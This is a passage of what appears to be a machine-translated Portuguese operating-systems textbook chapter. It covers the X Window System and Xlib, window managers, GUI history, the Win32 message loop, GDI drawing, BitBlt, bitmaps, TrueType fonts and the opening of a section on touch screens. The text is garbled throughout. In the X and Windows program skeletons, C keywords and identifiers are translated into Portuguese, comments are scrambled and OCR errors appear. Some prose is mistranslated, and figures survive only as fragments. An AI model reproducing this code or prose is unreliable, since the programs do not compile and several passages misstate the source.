outras camadas de software são executadas sobre ela. Uma camada é Xlib, que é um conjunto de 
procedimentos de biblioteca para acessar a funcionalidade X. Esses procedimentos formam a base 
do Sistema X Window e são o que examinaremos a seguir, mas são muito primitivos para serem 
acessados diretamente pela maioria dos programas de usuário. Por exemplo, cada clique do mouse 
é relatado separadamente, de modo que a determinação de que dois cliques realmente formam um 
clique duplo deve ser tratada acima do Xlib. 

Para facilitar a programação com X, um kit de ferramentas que consiste no Intrinsics é fornecido 
como parte do X. Esta camada gerencia botões, barras de rolagem e outras interfaces gráficas. 
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Figura 5-33. Clientes e servidores no MIT X Window System. 


elementos, chamados widgets. Para criar uma verdadeira interface GUI, com aparência 
uniforme, é necessária outra camada (ou várias delas). Um exemplo é o Motif, mostrado na 
Figura 5.33, que é a base do Common Desktop Environment usado no Solaris e em outros 
sistemas comerciais UNIX. A maioria das aplicações faz uso de chamadas ao Motif em vez de 
Xlib. O Gnome e o KDE possuem uma estrutura semelhante à da Figura 5.33, apenas com 
bibliotecas diferentes. O Gnome usa a biblioteca GTK+ e o KDE usa a biblioteca Qt. 

É discutível se ter duas GUIs é melhor do que uma. 

Também vale a pena notar que o gerenciamento de janelas não faz parte do próprio X. A 
decisão de deixá-lo de fora foi totalmente intencional. Em vez disso, um processo cliente X 
separado, cnamado gerenciador de janelas, controla a criação, exclusão e movimentação 
de janelas na tela. Para gerenciar janelas, ele envia comandos ao servidor X informando o 
que fazer. Geralmente é executado na mesma máquina que o cliente X, mas em teoria pode 
ser executado em qualquer lugar. Já foram escritos mais de cem gerenciadores de janela para 
UNIX e muitos ainda estão em uso ativo. Alguns foram projetados para serem enxutos e 
mesquinhos, enquanto outros adicionam gráficos 3D sofisticados ou tentam criar uma 
aparência do Windows no UNIX. Para os fãs mais dedicados dos editores do Emacs, existe 
até o Emacs X Window Manager, escrito em Lisp, que com certeza vai impressionar seus 
amigos vi equivocados. 

Os gerenciadores de janelas controlam a aparência e o posicionamento das janelas. Além 
do gerenciador de janelas, a maioria das pessoas usa um ambiente de área de trabalho 
como GNOME ou KDE. O ambiente de desktop fornece um ambiente de trabalho agradável e 
pré-configurado que é mais profundamente integrado aos aplicativos, por exemplo, no que diz 
respeito à funcionalidade de arrastar e soltar, painéis e barras laterais. 
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Este design modular, composto por diversas camadas e múltiplos programas, torna o X altamente 
portátil e flexível. Ele foi portado para a maioria das versões do UNIX, incluindo Solaris, todas as variantes 
do BSD, AIX, Linux e assim por diante, possibilitando que os desenvolvedores de aplicativos tenham uma 
interface de usuário padrão para múltiplas plataformas. Também foi portado para outros sistemas 
operacionais. Em contraste, no Windows, os sistemas de janelas e GUI são misturados na GDI e 
localizados no kernel, o que os torna mais difíceis de manter e, é claro, não são portáveis. 


Agora vamos dar uma breve olhada em X visto do nível Xlib. Quando um programa X é iniciado, ele 


abre uma conexão com um ou mais servidores X — vamos chamá-los de estações de trabalho, mesmo 
que possam estar localizadas na mesma máquina que o próprio programa X. X considera esta conexão 
confiável no sentido de que mensagens perdidas e duplicadas são tratadas pelo software de rede e não 
precisa se preocupar com erros de comunicação. Normalmente, o TCP/IP é usado entre o cliente e 


servidor. 


Quatro tipos de mensagens passam pela conexão: 


1. Desenhar comandos do programa para a estação de trabalho. 
2. Respostas da estação de trabalho às consultas do programa. 
3. Teclado, mouse e outros anúncios de eventos. 


4. Mensagens de erro. 


A maioria dos comandos de desenho são enviados do programa para a estação de trabalho como 
mensagens unidirecionais. Nenhuma resposta é esperada. A razão para esse design é que quando os 
processos do cliente e do servidor estão em máquinas diferentes, pode levar um período de tempo 
substancial para que o comando chegue ao servidor e seja executado. Bloquear o programa aplicativo 
durante esse período o tornaria lento desnecessariamente. Por outro lado, quando o programa necessita 
de informações da estação de trabalho, basta esperar até que a resposta retorne. 


Assim como o Windows, o X é altamente orientado a eventos. Os eventos fluem da estação de 
trabalho para o programa, geralmente em resposta a alguma ação humana, como toques no teclado, 
movimentos do mouse ou abertura de uma janela. Cada mensagem de evento tem 32 bytes, com o 
primeiro byte fornecendo o tipo de evento e os próximos 31 bytes fornecendo informações adicionais. 
Existem várias dezenas de tipos de eventos, mas um programa recebe apenas aqueles eventos que ele 
disse estar disposto a tratar. Por exemplo, se um programa não quiser receber informações sobre 
lançamentos de chave, nenhum evento de lançamento de chave será enviado a ele. Como no Windows, 
os eventos são enfileirados e os programas leem os eventos da fila de entrada. No entanto, ao contrário 
do Windows, o sistema operativo nunca chama sozinho procedimentos dentro do programa de aplicação. 
Ele nem sabe qual procedimento trata qual 
evento. 

Um conceito chave em X é o recurso. Um recurso é uma estrutura de dados que contém certas 
informações. Os programas aplicativos criam recursos nas estações de trabalho. 

Os recursos podem ser compartilhados entre vários processos na estação de trabalho. Recursos 
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tendem a ter vida curta e não sobrevivem às reinicializações da estação de trabalho. Recursos 
típicos incluem janelas, fontes, mapas de cores (paletas de cores), pixmaps (bitmaps), cursores 
e contextos gráficos. Os últimos são usados para associar propriedades a janelas e são 
semelhantes em conceito aos contextos de dispositivos no Windows. 

Um esqueleto grosseiro e incompleto de um programa X é mostrado na Figura 5.34. 
Começa incluindo alguns cabeçalhos obrigatórios e depois declarando algumas variáveis. Em 
seguida, ele se conecta ao servidor X especificado como parâmetro para XOpenDisplay. Em 
seguida, ele aloca um recurso de janela e armazena um identificador para ele no win. Na 
prática, alguma inicialização aconteceria aqui. Depois disso, ele informa ao gerenciador de 
janelas que a nova janela existe para que o gerenciador de janelas possa gerenciá-la. 


include <X11/Xlib.h> 
finclude <X11/Xutil.h> 


principal(int argc, char *argv[]) { 

Exibição de exibição; /* identificador de servidor 
Vitória da janela; *//* identificador de janela 

GC gc; *//* identificador de contexto gráfico 
Evento XEvent; *//* armazenamento para um evento */ 


int em execução = 1; 


disp = XOpenDisplay("nome de exibição"); /* conecta-se ao servidor X */ win = 
XCreateSimpleWindow(disp, ... ); /* alocar memória para nova janela */ XSetStandardProper 
ties(disp, ...); /* anuncia o gerenciador de janela para janela */ gc = XCreateGC(disp, win, 0, 0); /* cria 
contexto gráfico */ XSelectInput(disp, win, ButtonPressMask | KeyPressMask | 
ExposureMask); XMapRaised(disp, vitória); 

/ * janela de exibição; enviar evento Expose */ 


enquanto (em 


execução) ( XNextEvent(disp, &ev 

ent); switch (event.type) 
{ case Expor: ...; quebrar; caso 
ButtonPress: ...; quebrar; caso 
Pressionamento de tecla: ...; quebrar; 


/* obter próximo evento */ 


/* repintar janela */ /* 
processar clique do mouse */ /* 
processar entrada do teclado */ 


XFreeGC(disp, gc); 
XDestroyWindow(disp,vitória); 
XCloseDisplay(display); 


/* liberar contexto gráfico */ /* 
desalocar espaço de memória da janela */ / * derrubar 
conexão de rede */ 


Figura 5-34. Um esqueleto de um programa aplicativo X Window. 


A chamada para XCreateGC cria um contexto gráfico no qual as propriedades da janela são 
armazenadas. Em um programa mais completo, eles poderiam ser inicializados aqui. 
A próxima instrução, a chamada para XSelectinput, informa ao servidor X quais eventos o 
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programa está preparado para lidar. Neste caso, ele está interessado em cliques do mouse, toques 
de teclas e janelas sendo descobertas. Na prática, um programa real também estaria interessado 
em outros eventos. Finalmente, a cnamada para XMapRaised mapeia a nova janela na tela como a 
janela superior. Neste ponto, a janela torna-se 
visível na tela. 

O loop principal consiste em duas instruções e é logicamente muito mais simples que 
o loop correspondente no Windows. A primeira instrução aqui recebe um evento e o 
o segundo despacha o tipo de evento para processamento. Quando algum evento indica 
que o programa foi concluído, a execução é definida como O e o loop termina. Antes 
ao sair, o programa libera o contexto gráfico, janela e conexão. 

Vale ressaltar que nem todo mundo gosta de GUI. Muitos programadores preferem uma 
interface tradicional orientada por linha de comando do tipo discutido na Seç. 5.6.1 
acima. X lida com isso através de um programa cliente chamado xterm. Este programa emula um 
venerável terminal inteligente VT102, completo com todas as sequências de escape. 


Assim, editores como vie Emacs e outros softwares que usam termcap funcionam em 
essas janelas sem modificação. 


Interfaces gráficas de usuário 


A maioria dos computadores pessoais oferece uma GUI (Interface Gráfica do Usuário). O acro 
nym GUI é pronunciado " pegajoso ". 
A GUI foi inventada por Douglas Engelbart e seu grupo de pesquisa no 
Instituto de Pesquisa de Stanford. Foi então copiado por pesquisadores da Xerox PARC. 
Um belo dia, Steve Jobs, cofundador da Apple, estava visitando o PARC e viu uma GUI 
em um computador Xerox e disse algo como “Cara cavala”. Isso é 
o futuro da computação." A GUI deu-lhe a ideia de um novo computador, que 
tornou-se a Apple Lisa. O Lisa era muito caro e foi um fracasso comercial, 
mas o seu sucessor, o Macintosh, foi um enorme sucesso. 
Quando a Microsoft obteve um protótipo do Macintosh para poder desenvolver o Microsoft 
Office, implorou à Apple que licenciasse a interface para todos os interessados mediante o pagamento de uma taxa, para que 
se tornaria o novo padrão da indústria. (A Microsoft ganhou muito mais dinheiro 
do Office do que do MS-DOS, então estava disposto a abandonar o MS-DOS para ter um 
melhor plataforma para o Office.) O executivo da Apple responsável pelo Macintosh, Jean Louis 
Gassé, recusou e Steve Jobs não estava mais por perto para derrotá-lo. Mesmo assim, a Microsoft 
obteve licença para elementos da interface. Isso formou a base 
do Windows. Quando o Windows começou a se popularizar, a Apple processou a Microsoft, alegando 
A Microsoft excedeu a licença, mas o juiz discordou e o Windows continuou 
para ultrapassar o Macintosh. Se Gasse'e tivesse concordado com muitas pessoas dentro 
Apple, que também queria licenciar o software Macintosh para todos sob o 
sol, a Apple teria ficado incrivelmente rica apenas com taxas de licenciamento e o Windows 
não existiria agora. É claro que a Apple não se saiu tão mal desde então. 
Deixando de lado as interfaces habilitadas para toque por enquanto, uma GUI possui quatro 
elementos essenciais, indicados pelos caracteres WIMP. Essas letras representam Windows, 


Machine Translated by Google 


SEC. 5.6 INTERFACES DE USUÁRIO: TECLADO, MOUSE E MONITOR 409 


Ícones, menus e dispositivo apontador, respectivamente. As janelas são blocos retangulares de área da 
tela usados para executar programas. Ícones são pequenos símbolos que podem ser clicados para que 
alguma ação aconteça. Menus são listas de ações das quais uma pode ser escolhida. Finalmente, um 
dispositivo apontador é um mouse, trackball ou outro dispositivo de hardware usado para mover um 
cursor pela tela para selecionar itens. 

O software GUI pode ser implementado em código de nível de usuário, como é feito em 
Sistemas UNIX, ou no próprio sistema operacional, como é o caso do Windows. 

A entrada para sistemas GUI ainda usa teclado e mouse, mas a saída quase sempre vai para uma 
placa de hardware especial cnamada placa gráfica. Um adaptador gráfico contém uma memória 
especial chamada RAM de vídeo que contém as imagens que aparecem na tela. Os adaptadores 
gráficos geralmente têm uma GPU (unidade de processamento gráfico) poderosa com 8-16 GB (ou 
mais) de RAM própria, separada da memória principal do computador. 


Cada adaptador gráfico suporta vários tamanhos de tela. Os tamanhos comuns (horizontal x vertical 
em pixels) são 1600 x 1200, 1920 x 1080, 2560 x 1600 e 3840 x 2160. No entanto, também existem 
monitores que oferecem resoluções mais altas (digamos, 5120 x 2880 ou 6016 x 3384). Resoluções 
mais altas devem ser usadas em monitores widescreen cuja proporção de aspecto 16:9 corresponda 
exatamente a elas. Com uma resolução de apenas 1920 x 1080 (o tamanho dos vídeos Full HD), uma 
tela colorida com 24 bits/pixel requer cerca de 6,2 MB de RAM apenas para armazenar a imagem, 
portanto, com 8 GB, o adaptador gráfico pode armazenar 1380 imagens. de uma vez só. Se a tela inteira 
for atualizada 60 vezes/seg, a RAM de vídeo deverá ser capaz de fornecer dados continuamente a 372 
MB/seg. 

Obviamente, o vídeo 4K tem 3840 x 2160, portanto, precisa de quatro vezes mais armazenamento e 
largura de banda. 

O software de saída para GUIs é um tópico extenso. Muitos livros de 1.500 páginas foram escritos 
apenas sobre a GUI do Windows (por exemplo, Petzold, 2013; Rector and New comer, 1997; e Simon, 
1997). Claramente, nesta seção, podemos apenas arranhar a superfície e apresentar alguns dos 
conceitos subjacentes. Para tornar a discussão concreta, descreveremos a API Win32, que é suportada 
por todas as versões de 32 e 64 bits do Windows. O software de saída para outras GUIs é 
aproximadamente comparável em um sentido geral, mas os detalhes são muito diferentes. 


O item básico da tela é uma área retangular chamada janela. A posição e o tamanho de uma 
janela são determinados exclusivamente fornecendo as coordenadas (em pixels) de dois cantos 
diagonalmente opostos. Uma janela pode conter uma barra de título, uma barra de menu, uma barra de 
ferramentas, uma barra de rolagem vertical e uma barra de rolagem horizontal. Uma janela típica é 
mostrada na Figura 5.35. Observe que o sistema de coordenadas do Windows coloca a origem no canto 
superior esquerdo e faz com que y aumente para baixo, o que é diferente das coordenadas cartesianas 
usadas em matemática. 

Quando uma janela é criada, os parâmetros especificam se ela pode ser movida pelo usuário, 
redimensionada pelo usuário ou rolada (arrastando o polegar na barra de rolagem) pelo usuário. A janela 
principal produzida pela maioria dos programas pode ser movida, redimensionada e rolada, o que tem 
enormes consequências na forma como os programas do Windows são escritos. Em particular, os 
programas devem ser informados sobre alterações na dimensão dos 
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Figura 5-35. Uma janela de amostra na máquina dos autores em uma tela de 1920 x 1080. 


suas janelas e devem estar preparados para redesenhar o conteúdo de suas janelas a qualquer 
momento, mesmo quando menos esperarem. 

Como consequência, os programas do Windows são orientados a mensagens. As ações do 
usuário envolvendo o teclado ou mouse são capturadas pelo Windows e convertidas em mensagens 
para o programa proprietário da janela que está sendo endereçada. Cada programa possui uma 
fila de mensagens para a qual são enviadas mensagens relativas a todas as suas janelas. O loop 
principal do programa consiste em pescar a próxima mensagem e processá-la chamando um 
procedimento interno para aquele tipo de mensagem. Em alguns casos, o próprio Windows pode 
chamar esses procedimentos diretamente, ignorando a fila de mensagens. Este modelo é bem 
diferente do modelo UNIX de código processual que faz cnamadas de sistema para interagir com 
o sistema operacional. X, entretanto, também é orientado a eventos. 

Para tornar este modelo de programação mais claro, considere o exemplo da Figura 5.36. 
Aqui vemos o esqueleto de um programa principal para Windows. Não está completo e não verifica 
erros, mas mostra detalhes suficientes para nossos propósitos. Ele começa incluindo um arquivo 
de cabeçalho, windows.h, que contém muitas macros, tipos de dados, constantes, protótipos de 
funções e outras informações necessárias aos programas do Windows. 

O programa principal começa com uma declaração fornecendo seu nome e parâmetros. 

A macro WINAPI é uma instrução para o compilador usar uma determinada convenção de 
passagem de parâmetros e não será de maior preocupação para nós. O primeiro parâmetro, h, é 
um identificador de instância e é usado para identificar o programa para o resto do sistema. Até 
certo ponto, o Win32 é orientado a objetos, o que significa que o sistema contém objetos (por 
exemplo, programas, arquivos e janelas) que possuem algum estado e código associado, cnamados 
métodos, que operam nesse estado. Os objetos são referidos usando 
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Hinclude <windows.h> 


int WINAPI WinMain(HINSTANCE h, HINSTANCE, hprev, char *szCmd, int iGmdShow) ( 


WNDCLASS wndclass; /* objeto de classe para esta janela *// 
Mensagem MSG; * as mensagens recebidas são armazenadas aqui 
HWND hwnd; *//* identificador (ponteiro) para o objeto janela */ 


/* Inicializar wndclass */ 

wndclass.lpfnWndProc = WndProc; /* informa qual procedimento chamar */ 
wndclass.lpszClassName = "Nome do programa"; /* texto para barra de título */ 
wndclass.hlcon = Loadlcon(NULL, IDI APPLICATION); /* carregar ícone do programa */ 
wndclass.hCursor = LoadCursor(NULL, IDC ARROW); /* carrega o cursor do mouse */ 


RegisterClass(&wndclass); /* informa ao Windows sobre wndclass */ hwnd = 
CreateWindow (... ) /* aloca armazenamento para a janela */ ShowWindow(hwnd, 
iCmdShow); /* exibe a janela na tela */ UpdateWindow(hwnd); / * diz à janela para pintar 


sozinha */ 

while (GetMessage(&msg, NULL, O, 0)) ( /* obtém a mensagem da fila */ /* 
TranslateMessage(&msg); traduz a mensagem */ /* envia a 
Mensagem de envio(&msg); mensagem para o procedimento apropriado */ 


) return n(msg.wParam); 


longo CALLBACK WndProc (HWND hwnd, mensagem UINT, UINT wParam, longo IParam) ( 
/* As declarações vão aqui. */ 


switch (mensagem) 


{ case WM CREATE: ... ; retornar ... ; caso WM /* cria janela */ /* repinta 
PAINT: ... ; retornar ... ; caso WM DESTROY: ...; o conteúdo da janela */ /* destrói janela 
retornar... ; */ 


} return n(DefWindowProc(hwnd, mensagem, wParam, IParam)); /* padrão */ 


Figura 5-36. Um esqueleto de um programa principal do Windows. 


identifica e, neste caso, h identifica o programa. O segundo parâmetro está presente apenas 
por motivos de compatibilidade com versões anteriores. Na verdade, não é mais usado. O 
terceiro parâmetro, szCma, é uma string terminada em zero que contém a linha de comando 
que iniciou o programa, mesmo que não tenha sido iniciado a partir de uma linha de comando. 
O quarto parâmetro, iCmdShow, informa se a janela inicial do programa deve ocupar a tela 
inteira, parte da tela ou nenhuma parte da tela (apenas barra de tarefas). 
Esta declaração ilustra uma convenção amplamente utilizada da Microsoft chamada 
notação húngara. O nome é uma brincadeira com a notação polonesa, o sistema postfix inventado 
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pelo lógico polonês J. Lukasiewicz por representar fórmulas algébricas sem 
usando precedência ou parênteses. A notação húngara foi inventada por um húngaro 
programador da Microsoft, Charles Simonyi, que foi o principal arquiteto do Micro soft Word e Excel. 
Ele usa os primeiros caracteres de um identificador para especificar o 
tipo. As letras e tipos permitidos incluem c (caractere), w (palavra, agora significando um 
inteiro não assinado de 16 bits), i (inteiro assinado de 32 bits), | (longo, também um inteiro assinado de 
32 bits), s (string), sz (string terminada por um byte zero), p (ponteiro), fn (função) e 
h (alça). Assim, szCmd é uma string terminada em zero e iCmdShow é um número inteiro, 
por exemplo. Muitos programadores acreditam que codificar o tipo em nomes de variáveis 
dessa forma, tem pouco valor e dificulta a leitura do código do Windows. Além disso, as coisas ficam 
complicado se você portar seu código de um sistema de 32 bits para um de 64 bits, onde os parâmetros 
de repente têm 64 bits, mas seus nomes ainda têm o antigo sufixo i ou /. Nada análogo a esta 
convenção está presente no UNIX. 

Cada janela deve ter um objeto de classe associado que defina suas propriedades. 
Na Figura 5.36, esse objeto de classe é wndclass. Um objeto do tipo WNDCLASS possui 10 
campos, quatro dos quais são inicializados na Figura 5.36. Num programa real, os outros seis 
também seria inicializado. O campo mais importante é JpfnWndProc, que é um 
ponteiro longo (ou seja, 32 bits) para a função que trata as mensagens direcionadas a este 
janela. Os demais campos inicializados aqui informam qual nome e ícone usar no 
barra de título e qual símbolo usar para o cursor do mouse. 

Após wndclass ter sido inicializado, RegisterClass é chamado para passá-lo ao Windows. Em 
particular, após esta chamada o Windows sabe qual procedimento chamar quando 
ocorrem vários eventos que não passam pela fila de mensagens. A próxima chamada, Cre ate Window, 
aloca memória para a estrutura de dados da janela e retorna um identificador 
para referenciá-lo mais tarde. O programa então faz mais duas chamadas seguidas, para colocar o 
contorno da janela na tela e, finalmente, preencha-o completamente. 

Neste ponto chegamos ao loop principal do programa, que consiste em obter um 
mensagem, fazendo certas traduções e, em seguida, devolvendo-a ao Windows para que o Windows 
invoque o WndProc para processá-la. Para responder à pergunta de 
se todo este mecanismo poderia ter sido simplificado, a resposta é sim, 
mas foi feito desta forma por razões históricas e agora estamos presos a isso. 

Seguindo o programa principal está o procedimento WndProc, que trata do 
várias mensagens que podem ser enviadas para a janela. O uso de CALLBACK aqui, como 
WINAPI acima especifica a sequência de chamada a ser usada para parâmetros. O primeiro 
parâmetro é o identificador da janela a ser usada. O segundo parâmetro é o tipo de mensagem. O 
terceiro e quarto parâmetros podem ser usados para fornecer informações adicionais quando necessário. 


Os tipos de mensagens WM CREATE e WM DESTROY são enviados no início e no final 
do programa, respectivamente. Eles dão ao programa a oportunidade, por exemplo, 
para alocar memória para estruturas de dados e depois retorná-la. 

O terceiro tipo de mensagem, WM PAINT, é uma instrução para o programa preencher 
a janela. É chamado não apenas quando a janela é desenhada pela primeira vez, mas também 


possivelmente também durante a execução do programa. Em contraste com os sistemas baseados em texto, em 
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No Windows, um programa não pode presumir que tudo o que desenha na tela permanecerá lá até 
ser removido. Outras janelas podem ser arrastadas sobre esta, menus podem ser puxados para baixo 
sobre ela, caixas de diálogo e dicas de ferramentas podem cobrir parte dela e assim por diante. 
Quando esses itens são removidos, a janela deve ser redesenhada. A forma como o Windows diz a 
um programa para redesenhar uma janela é enviando-lhe uma mensagem WM PA US . Como um 
gesto amigável, também fornece informações sobre qual parte da janela foi substituída, caso seja 
mais fácil ou rápido regenerar essa parte da janela em vez de redesenhar tudo do zero. 


Existem duas maneiras pelas quais o Windows pode fazer com que um programa faça algo. 
Uma maneira é postar uma mensagem em sua fila de mensagens. Este método é usado para entrada 
de teclado, entrada de mouse e temporizadores que expiraram. A outra maneira, enviar uma 
mensagem para a janela, envolve fazer com que o Windows chame diretamente o próprio WndProc . 
Este método é usado para todos os outros eventos. Como o Windows é notificado quando uma 
mensagem é totalmente processada, ele pode evitar fazer uma nova chamada até que a anterior seja 
concluída. Desta forma, as condições de corrida são evitadas. 

Existem muitos outros tipos de mensagens. Para evitar comportamento errático caso chegue 
uma mensagem inesperada, o programa deve chamar DefWindowProc no final de WndProc para 
permitir que o manipulador padrão cuide dos outros casos. 

Em resumo, um programa Windows normalmente cria uma ou mais janelas com um objeto de 
classe para cada uma. Associado a cada programa está uma fila de mensagens e um conjunto de 
procedimentos manipuladores. Em última análise, o comportamento do programa é orientado pelos 
eventos recebidos, que são processados pelos procedimentos manipuladores. Este é um modelo de 
mundo muito diferente da visão mais processual adotada pelo UNIX. 

O desenho na tela é feito por um pacote que consiste em centenas de procedimentos agrupados 
para formar a GDI (Graphics Device Interface). 

Ele pode lidar com texto e gráficos e foi projetado para ser independente de plataforma e dispositivo. 
Antes que um programa possa desenhar (ou seja, pintar) em uma janela, ele precisa adquirir um 
contexto de dispositivo, que é uma estrutura de dados interna contendo propriedades da janela, 
como fonte, cor do texto, cor de fundo e assim por diante. . A maioria das chamadas GDI usa o 
contexto do dispositivo, seja para desenhar ou para obter ou definir as propriedades. 

Existem várias maneiras de adquirir o contexto do dispositivo. Um exemplo simples de sua 
aquisição e uso é 


hdc = GetDC(hwnd); 
Te xtOut(hdc, x, y, psText, iLength); 
ReleaseDC(hwnd, hdc); 


A primeira instrução identifica o conteúdo do dispositivo, hdc. O segundo usa o contexto do dispositivo 
para escrever uma linha de texto na tela, especificando as coordenadas (x, y) de onde a string 
começa, um ponteiro para a própria string e seu comprimento. A terceira chamada libera o contexto 
do dispositivo para indicar que o programa está desenhando no momento. Observe que hdc é usado 
de forma análoga a um descritor de arquivo UNIX. Observe também que ReleaseDC contém 
informações redundantes (o uso de hdc exclusivamente 
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especifica uma janela). O uso de informações redundantes sem valor real é comum no Windows. 


Outra observação interessante é que quando o hdc é adquirido desta forma, o programa pode 
escrever apenas na área cliente da janela, não na barra de título e em outras partes dela. 
Internamente, na estrutura de dados do contexto do dispositivo, é mantida uma região de recorte. 
Qualquer desenho fora da região de recorte será ignorado. Entretanto, há outra maneira de adquirir 
um contexto de dispositivo, GetWindowDC, que define a região de recorte para a janela inteira. 
Outras chamadas restringem a região de recorte de outras maneiras. 

Ter várias chamadas que fazem quase a mesma coisa é uma característica do Windows. 

Um tratamento completo do GDI está fora de questão aqui. Para o leitor interessado, as 
referências citadas acima fornecem informações adicionais. No entanto, dada a sua importância, 
algumas palavras sobre o GDI provavelmente valerão a pena. 

GDI tem várias chamadas de procedimento para obter e liberar contextos de dispositivos, obter 
informações sobre contextos de dispositivos, obter e definir atributos de contexto de dispositivos 

(por exemplo, a cor de fundo) e manipular objetos GDI, como canetas, pincéis e fontes, cada um dos 
quais tem seus próprios atributos. Finalmente, é claro, há um grande número de chamadas GDI para 
desenhar na tela. 

Os procedimentos de desenho se enquadram em quatro categorias: desenho de linhas e curvas, 
desenho de áreas preenchidas, gerenciamento de bitmaps e exibição de texto. Vimos um exemplo 
de desenho de texto acima, então vamos dar uma olhada rápida em um dos outros. A chamada 


Retângulo(hdc, xleft, ytop, xright, ybottom); 


desenha um retângulo preenchido cujos cantos são (xleft, ytop) e (xright, ybottom). Por exemplo, 


Retângulo(hdc, 2, 1, 6, 4); 


desenhará o retângulo mostrado na Figura 5-37. A largura e a cor da linha e a cor de preenchimento 
são obtidas do contexto do dispositivo. Outras chamadas GDI têm sabor semelhante. 


0 12345678 


“o q A OOD 


Figura 5-37. Um exemplo de retângulo desenhado usando Rectangle. Cada caixa 
representa um pixel. 
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Bitmaps 


Os procedimentos GDI são exemplos de gráficos vetoriais. Eles são usados para colocar 
figuras geométricas e texto na tela. Eles podem ser facilmente dimensionados para telas maiores 
ou menores (desde que o número de pixels na tela seja o mesmo). Eles também são relativamente 
independentes de dispositivos. 

Nem todas as imagens manipuladas pelos computadores podem ser geradas usando 
gráficos vetoriais. Fotografias e vídeos, por exemplo, não utilizam gráficos vetoriais. Em vez 
disso, esses itens são digitalizados através da sobreposição de uma grade na imagem. Os 
valores médios de vermelho, verde e azul de cada quadrado da grade são então amostrados e 
salvos como o valor de um pixel. Esse arquivo é chamado de bitmap. Existem amplos recursos 
no Windows para manipulação de bitmaps. 

Outro uso para bitmaps é para texto. Uma maneira de representar um caractere específico 
em alguma fonte é como um pequeno bitmap. Adicionar texto à tela torna-se então uma questão 


de mover bitmaps. Uma maneira geral de usar bitmaps é através de um procedimento chamado 
BitBlt. E chamado da seguinte forma: 


BitBlt(dsthdc, dx, dy, wid, ht, srchde, sx, sy, rasterop); 


Na sua forma mais simples, ele copia um bitmap de um retângulo em uma janela para um 
retângulo em outra janela (ou na mesma). Os primeiros três parâmetros especificam a janela e a 
posição de destino. Depois vem a largura e a altura. Em seguida vem a janela de origem e a 
posição. Observe que cada janela possui seu próprio sistema de coordenadas, com (0, 0) no 
canto superior esquerdo da janela. O último parâmetro será descrito abaixo. O efeito de 


BitBlt(hdc2, 1, 2, 5, 7, hdc1, 2, 2, SRCCOPY); 


é mostrado na Figura 5-38. Observe com atenção que toda a área 5 x 7 da letra A foi copiada, 
incluindo a cor de fundo. 


02468 0 02468 0 


02468 0 02468 0 


sb 


Janela? —» E! 


(a) (b) 


Figura 5-38. Copiando bitmaps usando BitBlt. (a) Antes. (b) Depois. 
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BitBlt pode fazer mais do que apenas copiar bitmaps. O último parâmetro dá a possibilidade 
de realizar operações booleanas para combinar o bitmap de origem e o bitmap de destino. Por 
exemplo, a origem pode ser conectada ao destino para mesclar com ela. Também pode ser inserido 
OR EXCLUSIVO nele, o que mantém as características de origem e destino. 


Um problema com bitmaps é que eles não são dimensionados. Um caractere que esteja em 
uma caixa de 8 x 12 em uma tela de 640 x 480 parecerá razoável. No entanto, se esse bitmap for 
copiado para uma página impressa a 1.200 pontos/polegada, que é 10.200 bits x 13.200 bits, a 
largura do caractere (8 pixels) será 8/1.200 polegadas ou 0,17 mm. Além disso, copiar entre 
dispositivos com propriedades de cores diferentes ou entre monocromático e colorido não funciona 
bem. 

Por esse motivo, o Windows também oferece suporte a uma estrutura de dados chamada DIB 
(Device Independent Bitmap). Os arquivos que usam este formato usam a extensão .bmp. Esses 
arquivos possuem cabeçalhos de arquivos e informações e uma tabela de cores antes dos pixels. 
Essas informações facilitam a movimentação de bitmaps entre dispositivos diferentes. 


Fontes 


Nas versões do Windows anteriores à 3.1, os caracteres eram representados como bitmaps e 
copiados na tela ou impressora usando BitBlt. O problema com isso, como acabamos de ver, é que 
um bitmap que faz sentido na tela é pequeno demais para a impressora. 

Além disso, é necessário um bitmap diferente para cada caractere em cada tamanho. Em outras 
palavras, dado o bitmap para A no tipo de 10 pontos, não há como calculá-lo para o tipo de 12 
pontos. Como cada caractere de cada fonte pode ser necessário para tamanhos que variam de 4 a 
120 pontos, foi necessário um grande número de bitmaps. Todo o sistema era muito complicado 
para texto. 

A solução foi a introdução de fontes TrueType, que não são bitmaps, mas contornos dos 
caracteres. Cada caractere TrueType é definido por uma sequência de pontos ao redor de seu 
perímetro. Todos os pontos são relativos à origem (0, 0). Usando este sistema, é fácil aumentar ou 
diminuir os caracteres. Tudo o que precisa ser feito é multiplicar cada coordenada pelo mesmo fator 
de escala. Dessa forma, um caractere TrueType pode ser ampliado ou reduzido para qualquer 
tamanho de ponto, até mesmo tamanhos de ponto fracionários. Uma vez no tamanho adequado, os 
pontos podem ser conectados usando o conhecido algoritmo de seguir os pontos ensinado no 
jardim de infância (observe que os jardins de infância modernos usam splines para resultados mais 
suaves). Após a conclusão do contorno, o caractere pode ser preenchido. Um exemplo de alguns 
caracteres dimensionados para três tamanhos de pontos diferentes é mostrado na Figura 5.39. 


Uma vez que o caractere preenchido esteja disponível na forma matemática, ele pode ser 
rasterizado, ou seja, convertido em bitmap na resolução desejada. Dimensionando primeiro e só 
depois rasterizando, podemos ter certeza de que os caracteres exibidos na tela ou impressos na 
impressora serão os mais próximos possíveis, diferindo apenas no erro de quantização. Para 
melhorar ainda mais a qualidade, agora é possível incorporar dicas em cada 
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- abcdefgh 


-abcdefgh 


Figura 5-39. Alguns exemplos de contornos de caracteres em diferentes tamanhos de pontos. 


personagem contando como fazer a rasterização. Por exemplo, ambas as serifas no topo de 
a letra T deve ser idêntica, algo que de outra forma poderia não ser o caso devido 
para erro de arredondamento. As dicas melhoram a aparência final. 


Telas sensíveis ao toque 


Cada vez mais a tela também é usada como dispositivo de entrada. Especialmente em smartphones, 
tablets e outros dispositivos portáteis, é conveniente tocar e deslizar 
na tela com o dedo (ou uma caneta). A experiência do usuário é diferente e 
mais intuitivo do que com um dispositivo semelhante a um mouse, pois o usuário interage diretamente com 
os objetos na tela. A pesquisa mostrou que até os orangotangos são capazes de 
operar dispositivos baseados em toque. 

Um dispositivo sensível ao toque não é necessariamente uma tela. Os dispositivos sensíveis ao toque se 
enquadram em duas categorias: opacos e transparentes. Um típico dispositivo de toque opaco é o trackpad de um 
notebook, conforme discutido anteriormente. Um exemplo de dispositivo transparente é o 
tela sensível ao toque em um smartphone ou tablet. Nesta seção, no entanto, nos limitamos 
para telas sensíveis ao toque. 

Como muitas coisas que estão na moda na indústria de informática, o toque 
as telas não são exatamente novas. Já em 1965, EA Johnson, do British Royal 
Radar Estabelecimento descreveu uma tela sensível ao toque (capacitiva) que, embora rudimentar, 
